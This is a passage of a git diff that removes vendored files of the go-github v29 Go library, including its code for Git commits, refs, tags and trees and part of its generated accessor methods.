nil, nil, err - } - req.Header.Set("Accept", "application/vnd.github.v3.raw") - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - return buf.Bytes(), resp, err -} - -// CreateBlob creates a blob object. -// -// GitHub API docs: https://developer.github.com/v3/git/blobs/#create-a-blob -func (s *GitService) CreateBlob(ctx context.Context, owner string, repo string, blob *Blob) (*Blob, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/blobs", owner, repo) - req, err := s.client.NewRequest("POST", u, blob) - if err != nil { - return nil, nil, err - } - - t := new(Blob) - resp, err := s.client.Do(ctx, req, t) - return t, resp, err -} diff --git a/vendor/github.com/google/go-github/v29/github/git_commits.go b/vendor/github.com/google/go-github/v29/github/git_commits.go deleted file mode 100644 index 741961980a..0000000000 --- a/vendor/github.com/google/go-github/v29/github/git_commits.go +++ /dev/null @@ -1,200 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "errors" - "fmt" - "strings" - "time" - - "golang.org/x/crypto/openpgp" -) - -// SignatureVerification represents GPG signature verification. -type SignatureVerification struct { - Verified *bool `json:"verified,omitempty"` - Reason *string `json:"reason,omitempty"` - Signature *string `json:"signature,omitempty"` - Payload *string `json:"payload,omitempty"` -} - -// Commit represents a GitHub commit. -type Commit struct { - SHA *string `json:"sha,omitempty"` - Author *CommitAuthor `json:"author,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` - Message *string `json:"message,omitempty"` - Tree *Tree `json:"tree,omitempty"` - Parents []Commit `json:"parents,omitempty"` - Stats *CommitStats `json:"stats,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - Verification *SignatureVerification `json:"verification,omitempty"` - NodeID *string `json:"node_id,omitempty"` - - // CommentCount is the number of GitHub comments on the commit. This - // is only populated for requests that fetch GitHub data like - // Pulls.ListCommits, Repositories.ListCommits, etc. - CommentCount *int `json:"comment_count,omitempty"` - - // SigningKey denotes a key to sign the commit with. If not nil this key will - // be used to sign the commit. The private key must be present and already - // decrypted. Ignored if Verification.Signature is defined. - SigningKey *openpgp.Entity `json:"-"` -} - -func (c Commit) String() string { - return Stringify(c) -} - -// CommitAuthor represents the author or committer of a commit. The commit -// author may not correspond to a GitHub User. -type CommitAuthor struct { - Date *time.Time `json:"date,omitempty"` - Name *string `json:"name,omitempty"` - Email *string `json:"email,omitempty"` - - // The following fields are only populated by Webhook events. - Login *string `json:"username,omitempty"` // Renamed for go-github consistency. -} - -func (c CommitAuthor) String() string { - return Stringify(c) -} - -// GetCommit fetches the Commit object for a given SHA. -// -// GitHub API docs: https://developer.github.com/v3/git/commits/#get-a-commit -func (s *GitService) GetCommit(ctx context.Context, owner string, repo string, sha string) (*Commit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/commits/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// createCommit represents the body of a CreateCommit request. -type createCommit struct { - Author *CommitAuthor `json:"author,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` - Message *string `json:"message,omitempty"` - Tree *string `json:"tree,omitempty"` - Parents []string `json:"parents,omitempty"` - Signature *string `json:"signature,omitempty"` -} - -// CreateCommit creates a new commit in a repository. -// commit must not be nil. -// -// The commit.Committer is optional and will be filled with the commit.Author -// data if omitted. If the commit.Author is omitted, it will be filled in with -// the authenticated user’s information and the current date. -// -// GitHub API docs: https://developer.github.com/v3/git/commits/#create-a-commit -func (s *GitService) CreateCommit(ctx context.Context, owner string, repo string, commit *Commit) (*Commit, *Response, error) { - if commit == nil { - return nil, nil, fmt.Errorf("commit must be provided") - } - - u := fmt.Sprintf("repos/%v/%v/git/commits", owner, repo) - - parents := make([]string, len(commit.Parents)) - for i, parent := range commit.Parents { - parents[i] = *parent.SHA - } - - body := &createCommit{ - Author: commit.Author, - Committer: commit.Committer, - Message: commit.Message, - Parents: parents, - } - if commit.Tree != nil { - body.Tree = commit.Tree.SHA - } - if commit.SigningKey != nil { - signature, err := createSignature(commit.SigningKey, body) - if err != nil { - return nil, nil, err - } - body.Signature = &signature - } - if commit.Verification != nil { - body.Signature = commit.Verification.Signature - } - - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -func createSignature(signingKey *openpgp.Entity, commit *createCommit) (string, error) { - if signingKey == nil || commit == nil { - return "", errors.New("createSignature: invalid parameters") - } - - message, err := createSignatureMessage(commit) - if err != nil { - return "", err - } - - writer := new(bytes.Buffer) - reader := bytes.NewReader([]byte(message)) - if err := openpgp.ArmoredDetachSign(writer, signingKey, reader, nil); err != nil { - return "", err - } - - return writer.String(), nil -} - -func createSignatureMessage(commit *createCommit) (string, error) { - if commit == nil || commit.Message == nil || *commit.Message == "" || commit.Author == nil { - return "", errors.New("createSignatureMessage: invalid parameters") - } - - var message []string - - if commit.Tree != nil { - message = append(message, fmt.Sprintf("tree %s", *commit.Tree)) - } - - for _, parent := range commit.Parents { - message = append(message, fmt.Sprintf("parent %s", parent)) - } - - message = append(message, fmt.Sprintf("author %s <%s> %d %s", commit.Author.GetName(), commit.Author.GetEmail(), commit.Author.GetDate().Unix(), commit.Author.GetDate().Format("-0700"))) - - committer := commit.Committer - if committer == nil { - committer = commit.Author - } - - // There needs to be a double newline after committer - message = append(message, fmt.Sprintf("committer %s <%s> %d %s\n", committer.GetName(), committer.GetEmail(), committer.GetDate().Unix(), committer.GetDate().Format("-0700"))) - message = append(message, *commit.Message) - - return strings.Join(message, "\n"), nil -} diff --git a/vendor/github.com/google/go-github/v29/github/git_refs.go b/vendor/github.com/google/go-github/v29/github/git_refs.go deleted file mode 100644 index b51bcbf1de..0000000000 --- a/vendor/github.com/google/go-github/v29/github/git_refs.go +++ /dev/null @@ -1,222 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "errors" - "fmt" - "net/url" - "strings" -) - -// Reference represents a GitHub reference. -type Reference struct { - Ref *string `json:"ref"` - URL *string `json:"url"` - Object *GitObject `json:"object"` - NodeID *string `json:"node_id,omitempty"` -} - -func (r Reference) String() string { - return Stringify(r) -} - -// GitObject represents a Git object. -type GitObject struct { - Type *string `json:"type"` - SHA *string `json:"sha"` - URL *string `json:"url"` -} - -func (o GitObject) String() string { - return Stringify(o) -} - -// createRefRequest represents the payload for creating a reference. -type createRefRequest struct { - Ref *string `json:"ref"` - SHA *string `json:"sha"` -} - -// updateRefRequest represents the payload for updating a reference. -type updateRefRequest struct { - SHA *string `json:"sha"` - Force *bool `json:"force"` -} - -// GetRef fetches a single Reference object for a given Git ref. -// If there is no exact match, GetRef will return an error. -// -// Note: The GitHub API can return multiple matches. -// If you wish to use this functionality please use the GetRefs() method. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#get-a-reference -func (s *GitService) GetRef(ctx context.Context, owner string, repo string, ref string) (*Reference, *Response, error) { - ref = strings.TrimPrefix(ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, url.QueryEscape(ref)) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - r := new(Reference) - resp, err := s.client.Do(ctx, req, r) - if _, ok := err.(*json.UnmarshalTypeError); ok { - // Multiple refs, means there wasn't an exact match. - return nil, resp, errors.New("multiple matches found for this ref") - } else if _, ok := err.(*ErrorResponse); ok && resp.StatusCode == 404 { - // No ref, there was no match for the ref - return nil, resp, errors.New("no match found for this ref") - } else if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// GetRefs fetches a slice of Reference objects for a given Git ref. -// If there is an exact match, only that ref is returned. -// If there is no exact match, GitHub returns all refs that start with ref. -// If returned error is nil, there will be at least 1 ref returned. -// For example: -// -// "heads/featureA" -> ["refs/heads/featureA"] // Exact match, single ref is returned. -// "heads/feature" -> ["refs/heads/featureA", "refs/heads/featureB"] // All refs that start with ref. -// "heads/notexist" -> [] // Returns an error. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#get-a-reference -func (s *GitService) GetRefs(ctx context.Context, owner string, repo string, ref string) ([]*Reference, *Response, error) { - ref = strings.TrimPrefix(ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, url.QueryEscape(ref)) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var rawJSON json.RawMessage - resp, err := s.client.Do(ctx, req, &rawJSON) - if err != nil { - return nil, resp, err - } - - // Prioritize the most common case: a single returned ref. - r := new(Reference) - singleUnmarshalError := json.Unmarshal(rawJSON, r) - if singleUnmarshalError == nil { - return []*Reference{r}, resp, nil - } - - // Attempt to unmarshal multiple refs. - var rs []*Reference - multipleUnmarshalError := json.Unmarshal(rawJSON, &rs) - if multipleUnmarshalError == nil { - if len(rs) == 0 { - return nil, resp, fmt.Errorf("unexpected response from GitHub API: an array of refs with length 0") - } - return rs, resp, nil - } - - return nil, resp, fmt.Errorf("unmarshalling failed for both single and multiple refs: %s and %s", singleUnmarshalError, multipleUnmarshalError) -} - -// ReferenceListOptions specifies optional parameters to the -// GitService.ListRefs method. -type ReferenceListOptions struct { - Type string `url:"-"` - - ListOptions -} - -// ListRefs lists all refs in a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#get-all-references -func (s *GitService) ListRefs(ctx context.Context, owner, repo string, opt *ReferenceListOptions) ([]*Reference, *Response, error) { - var u string - if opt != nil && opt.Type != "" { - u = fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, opt.Type) - } else { - u = fmt.Sprintf("repos/%v/%v/git/refs", owner, repo) - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var rs []*Reference - resp, err := s.client.Do(ctx, req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, nil -} - -// CreateRef creates a new ref in a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#create-a-reference -func (s *GitService) CreateRef(ctx context.Context, owner string, repo string, ref *Reference) (*Reference, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/refs", owner, repo) - req, err := s.client.NewRequest("POST", u, &createRefRequest{ - // back-compat with previous behavior that didn't require 'refs/' prefix - Ref: String("refs/" + strings.TrimPrefix(*ref.Ref, "refs/")), - SHA: ref.Object.SHA, - }) - if err != nil { - return nil, nil, err - } - - r := new(Reference) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// UpdateRef updates an existing ref in a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#update-a-reference -func (s *GitService) UpdateRef(ctx context.Context, owner string, repo string, ref *Reference, force bool) (*Reference, *Response, error) { - refPath := strings.TrimPrefix(*ref.Ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, refPath) - req, err := s.client.NewRequest("PATCH", u, &updateRefRequest{ - SHA: ref.Object.SHA, - Force: &force, - }) - if err != nil { - return nil, nil, err - } - - r := new(Reference) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// DeleteRef deletes a ref from a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#delete-a-reference -func (s *GitService) DeleteRef(ctx context.Context, owner string, repo string, ref string) (*Response, error) { - ref = strings.TrimPrefix(ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, url.QueryEscape(ref)) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/git_tags.go b/vendor/github.com/google/go-github/v29/github/git_tags.go deleted file mode 100644 index abdbde6821..0000000000 --- a/vendor/github.com/google/go-github/v29/github/git_tags.go +++ /dev/null @@ -1,76 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Tag represents a tag object. -type Tag struct { - Tag *string `json:"tag,omitempty"` - SHA *string `json:"sha,omitempty"` - URL *string `json:"url,omitempty"` - Message *string `json:"message,omitempty"` - Tagger *CommitAuthor `json:"tagger,omitempty"` - Object *GitObject `json:"object,omitempty"` - Verification *SignatureVerification `json:"verification,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// createTagRequest represents the body of a CreateTag request. This is mostly -// identical to Tag with the exception that the object SHA and Type are -// top-level fields, rather than being nested inside a JSON object. -type createTagRequest struct { - Tag *string `json:"tag,omitempty"` - Message *string `json:"message,omitempty"` - Object *string `json:"object,omitempty"` - Type *string `json:"type,omitempty"` - Tagger *CommitAuthor `json:"tagger,omitempty"` -} - -// GetTag fetches a tag from a repo given a SHA. -// -// GitHub API docs: https://developer.github.com/v3/git/tags/#get-a-tag -func (s *GitService) GetTag(ctx context.Context, owner string, repo string, sha string) (*Tag, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/tags/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - tag := new(Tag) - resp, err := s.client.Do(ctx, req, tag) - return tag, resp, err -} - -// CreateTag creates a tag object. -// -// GitHub API docs: https://developer.github.com/v3/git/tags/#create-a-tag-object -func (s *GitService) CreateTag(ctx context.Context, owner string, repo string, tag *Tag) (*Tag, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/tags", owner, repo) - - // convert Tag into a createTagRequest - tagRequest := &createTagRequest{ - Tag: tag.Tag, - Message: tag.Message, - Tagger: tag.Tagger, - } - if tag.Object != nil { - tagRequest.Object = tag.Object.SHA - tagRequest.Type = tag.Object.Type - } - - req, err := s.client.NewRequest("POST", u, tagRequest) - if err != nil { - return nil, nil, err - } - - t := new(Tag) - resp, err := s.client.Do(ctx, req, t) - return t, resp, err -} diff --git a/vendor/github.com/google/go-github/v29/github/git_trees.go b/vendor/github.com/google/go-github/v29/github/git_trees.go deleted file mode 100644 index 7714946cf9..0000000000 --- a/vendor/github.com/google/go-github/v29/github/git_trees.go +++ /dev/null @@ -1,162 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "fmt" -) - -// Tree represents a GitHub tree. -type Tree struct { - SHA *string `json:"sha,omitempty"` - Entries []TreeEntry `json:"tree,omitempty"` - - // Truncated is true if the number of items in the tree - // exceeded GitHub's maximum limit and the Entries were truncated - // in the response. Only populated for requests that fetch - // trees like Git.GetTree. - Truncated *bool `json:"truncated,omitempty"` -} - -func (t Tree) String() string { - return Stringify(t) -} - -// TreeEntry represents the contents of a tree structure. TreeEntry can -// represent either a blob, a commit (in the case of a submodule), or another -// tree. -type TreeEntry struct { - SHA *string `json:"sha,omitempty"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - Size *int `json:"size,omitempty"` - Content *string `json:"content,omitempty"` - URL *string `json:"url,omitempty"` -} - -func (t TreeEntry) String() string { - return Stringify(t) -} - -// treeEntryWithFileDelete is used internally to delete a file whose -// Content and SHA fields are empty. It does this by removing the "omitempty" -// tag modifier on the SHA field which causes the GitHub API to receive -// {"sha":null} and thereby delete the file. -type treeEntryWithFileDelete struct { - SHA *string `json:"sha"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - Size *int `json:"size,omitempty"` - Content *string `json:"content,omitempty"` - URL *string `json:"url,omitempty"` -} - -func (t *TreeEntry) MarshalJSON() ([]byte, error) { - if t.SHA == nil && t.Content == nil { - return json.Marshal(struct { - SHA *string `json:"sha"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - }{ - nil, - t.Path, - t.Mode, - t.Type, - }) - } - return json.Marshal(struct { - SHA *string `json:"sha,omitempty"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - Size *int `json:"size,omitempty"` - Content *string `json:"content,omitempty"` - URL *string `json:"url,omitempty"` - }{ - SHA: t.SHA, - Path: t.Path, - Mode: t.Mode, - Type: t.Type, - Size: t.Size, - Content: t.Content, - URL: t.URL, - }) -} - -// GetTree fetches the Tree object for a given sha hash from a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/trees/#get-a-tree -func (s *GitService) GetTree(ctx context.Context, owner string, repo string, sha string, recursive bool) (*Tree, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/trees/%v", owner, repo, sha) - if recursive { - u += "?recursive=1" - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Tree) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// createTree represents the body of a CreateTree request. -type createTree struct { - BaseTree string `json:"base_tree,omitempty"` - Entries []interface{} `json:"tree"` -} - -// CreateTree creates a new tree in a repository. If both a tree and a nested -// path modifying that tree are specified, it will overwrite the contents of -// that tree with the new path contents and write a new tree out. -// -// GitHub API docs: https://developer.github.com/v3/git/trees/#create-a-tree -func (s *GitService) CreateTree(ctx context.Context, owner string, repo string, baseTree string, entries []TreeEntry) (*Tree, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/trees", owner, repo) - - newEntries := make([]interface{}, 0, len(entries)) - for _, entry := range entries { - if entry.Content == nil && entry.SHA == nil { - newEntries = append(newEntries, treeEntryWithFileDelete{ - Path: entry.Path, - Mode: entry.Mode, - Type: entry.Type, - Size: entry.Size, - URL: entry.URL, - }) - continue - } - newEntries = append(newEntries, entry) - } - - body := &createTree{ - BaseTree: baseTree, - Entries: newEntries, - } - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - t := new(Tree) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/github-accessors.go b/vendor/github.com/google/go-github/v29/github/github-accessors.go deleted file mode 100644 index 4ff4a3f5a4..0000000000 --- a/vendor/github.com/google/go-github/v29/github/github-accessors.go +++ /dev/null @@ -1,13733 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Code generated by gen-accessors; DO NOT EDIT. - -package github - -import ( - "encoding/json" - "time" -) - -// GetRetryAfter returns the RetryAfter field if it's non-nil, zero value otherwise. -func (a *AbuseRateLimitError) GetRetryAfter() time.Duration { - if a == nil || a.RetryAfter == nil { - return 0 - } - return *a.RetryAfter -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (a *AdminEnforcement) GetURL() string { - if a == nil || a.URL == nil { - return "" - } - return *a.URL -} - -// GetComments returns the Comments field. -func (a *AdminStats) GetComments() *CommentStats { - if a == nil { - return nil - } - return a.Comments -} - -// GetGists returns the Gists field. -func (a *AdminStats) GetGists() *GistStats { - if a == nil { - return nil - } - return a.Gists -} - -// GetHooks returns the Hooks field. -func (a *AdminStats) GetHooks() *HookStats { - if a == nil { - return nil - } - return a.Hooks -} - -// GetIssues returns the Issues field. -func (a *AdminStats) GetIssues() *IssueStats { - if a == nil { - return nil - } - return a.Issues -} - -// GetMilestones returns the Milestones field. -func (a *AdminStats) GetMilestones() *MilestoneStats { - if a == nil { - return nil - } - return a.Milestones -} - -// GetOrgs returns the Orgs field. -func (a *AdminStats) GetOrgs() *OrgStats { - if a == nil { - return nil - } - return a.Orgs -} - -// GetPages returns the Pages field. -func (a *AdminStats) GetPages() *PageStats { - if a == nil { - return nil - } - return a.Pages -} - -// GetPulls returns the Pulls field. -func (a *AdminStats) GetPulls() *PullStats { - if a == nil { - return nil - } - return a.Pulls -} - -// GetRepos returns the Repos field. -func (a *AdminStats) GetRepos() *RepoStats { - if a == nil { - return nil - } - return a.Repos -} - -// GetUsers returns the Users field. -func (a *AdminStats) GetUsers() *UserStats { - if a == nil { - return nil - } - return a.Users -} - -// GetVerifiablePasswordAuthentication returns the VerifiablePasswordAuthentication field if it's non-nil, zero value otherwise. -func (a *APIMeta) GetVerifiablePasswordAuthentication() bool { - if a == nil || a.VerifiablePasswordAuthentication == nil { - return false - } - return *a.VerifiablePasswordAuthentication -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (a *App) GetCreatedAt() Timestamp { - if a == nil || a.CreatedAt == nil { - return Timestamp{} - } - return *a.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (a *App) GetDescription() string { - if a == nil || a.Description == nil { - return "" - } - return *a.Description -} - -// GetExternalURL returns the ExternalURL field if it's non-nil, zero value otherwise. -func (a *App) GetExternalURL() string { - if a == nil || a.ExternalURL == nil { - return "" - } - return *a.ExternalURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (a *App) GetHTMLURL() string { - if a == nil || a.HTMLURL == nil { - return "" - } - return *a.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *App) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *App) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (a *App) GetNodeID() string { - if a == nil || a.NodeID == nil { - return "" - } - return *a.NodeID -} - -// GetOwner returns the Owner field. -func (a *App) GetOwner() *User { - if a == nil { - return nil - } - return a.Owner -} - -// GetPermissions returns the Permissions field. -func (a *App) GetPermissions() *InstallationPermissions { - if a == nil { - return nil - } - return a.Permissions -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (a *App) GetSlug() string { - if a == nil || a.Slug == nil { - return "" - } - return *a.Slug -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (a *App) GetUpdatedAt() Timestamp { - if a == nil || a.UpdatedAt == nil { - return Timestamp{} - } - return *a.UpdatedAt -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetClientID() string { - if a == nil || a.ClientID == nil { - return "" - } - return *a.ClientID -} - -// GetClientSecret returns the ClientSecret field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetClientSecret() string { - if a == nil || a.ClientSecret == nil { - return "" - } - return *a.ClientSecret -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetCreatedAt() Timestamp { - if a == nil || a.CreatedAt == nil { - return Timestamp{} - } - return *a.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetDescription() string { - if a == nil || a.Description == nil { - return "" - } - return *a.Description -} - -// GetExternalURL returns the ExternalURL field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetExternalURL() string { - if a == nil || a.ExternalURL == nil { - return "" - } - return *a.ExternalURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetHTMLURL() string { - if a == nil || a.HTMLURL == nil { - return "" - } - return *a.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetNodeID() string { - if a == nil || a.NodeID == nil { - return "" - } - return *a.NodeID -} - -// GetOwner returns the Owner field. -func (a *AppConfig) GetOwner() *User { - if a == nil { - return nil - } - return a.Owner -} - -// GetPEM returns the PEM field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetPEM() string { - if a == nil || a.PEM == nil { - return "" - } - return *a.PEM -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetUpdatedAt() Timestamp { - if a == nil || a.UpdatedAt == nil { - return Timestamp{} - } - return *a.UpdatedAt -} - -// GetWebhookSecret returns the WebhookSecret field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetWebhookSecret() string { - if a == nil || a.WebhookSecret == nil { - return "" - } - return *a.WebhookSecret -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (a *Attachment) GetBody() string { - if a == nil || a.Body == nil { - return "" - } - return *a.Body -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *Attachment) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (a *Attachment) GetTitle() string { - if a == nil || a.Title == nil { - return "" - } - return *a.Title -} - -// GetApp returns the App field. -func (a *Authorization) GetApp() *AuthorizationApp { - if a == nil { - return nil - } - return a.App -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (a *Authorization) GetCreatedAt() Timestamp { - if a == nil || a.CreatedAt == nil { - return Timestamp{} - } - return *a.CreatedAt -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (a *Authorization) GetFingerprint() string { - if a == nil || a.Fingerprint == nil { - return "" - } - return *a.Fingerprint -} - -// GetHashedToken returns the HashedToken field if it's non-nil, zero value otherwise. -func (a *Authorization) GetHashedToken() string { - if a == nil || a.HashedToken == nil { - return "" - } - return *a.HashedToken -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *Authorization) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (a *Authorization) GetNote() string { - if a == nil || a.Note == nil { - return "" - } - return *a.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (a *Authorization) GetNoteURL() string { - if a == nil || a.NoteURL == nil { - return "" - } - return *a.NoteURL -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (a *Authorization) GetToken() string { - if a == nil || a.Token == nil { - return "" - } - return *a.Token -} - -// GetTokenLastEight returns the TokenLastEight field if it's non-nil, zero value otherwise. -func (a *Authorization) GetTokenLastEight() string { - if a == nil || a.TokenLastEight == nil { - return "" - } - return *a.TokenLastEight -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (a *Authorization) GetUpdatedAt() Timestamp { - if a == nil || a.UpdatedAt == nil { - return Timestamp{} - } - return *a.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (a *Authorization) GetURL() string { - if a == nil || a.URL == nil { - return "" - } - return *a.URL -} - -// GetUser returns the User field. -func (a *Authorization) GetUser() *User { - if a == nil { - return nil - } - return a.User -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (a *AuthorizationApp) GetClientID() string { - if a == nil || a.ClientID == nil { - return "" - } - return *a.ClientID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *AuthorizationApp) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (a *AuthorizationApp) GetURL() string { - if a == nil || a.URL == nil { - return "" - } - return *a.URL -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetClientID() string { - if a == nil || a.ClientID == nil { - return "" - } - return *a.ClientID -} - -// GetClientSecret returns the ClientSecret field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetClientSecret() string { - if a == nil || a.ClientSecret == nil { - return "" - } - return *a.ClientSecret -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetFingerprint() string { - if a == nil || a.Fingerprint == nil { - return "" - } - return *a.Fingerprint -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetNote() string { - if a == nil || a.Note == nil { - return "" - } - return *a.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetNoteURL() string { - if a == nil || a.NoteURL == nil { - return "" - } - return *a.NoteURL -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (a *AuthorizationUpdateRequest) GetFingerprint() string { - if a == nil || a.Fingerprint == nil { - return "" - } - return *a.Fingerprint -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (a *AuthorizationUpdateRequest) GetNote() string { - if a == nil || a.Note == nil { - return "" - } - return *a.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (a *AuthorizationUpdateRequest) GetNoteURL() string { - if a == nil || a.NoteURL == nil { - return "" - } - return *a.NoteURL -} - -// GetAppID returns the AppID field if it's non-nil, zero value otherwise. -func (a *AutoTriggerCheck) GetAppID() int64 { - if a == nil || a.AppID == nil { - return 0 - } - return *a.AppID -} - -// GetSetting returns the Setting field if it's non-nil, zero value otherwise. -func (a *AutoTriggerCheck) GetSetting() bool { - if a == nil || a.Setting == nil { - return false - } - return *a.Setting -} - -// GetContent returns the Content field if it's non-nil, zero 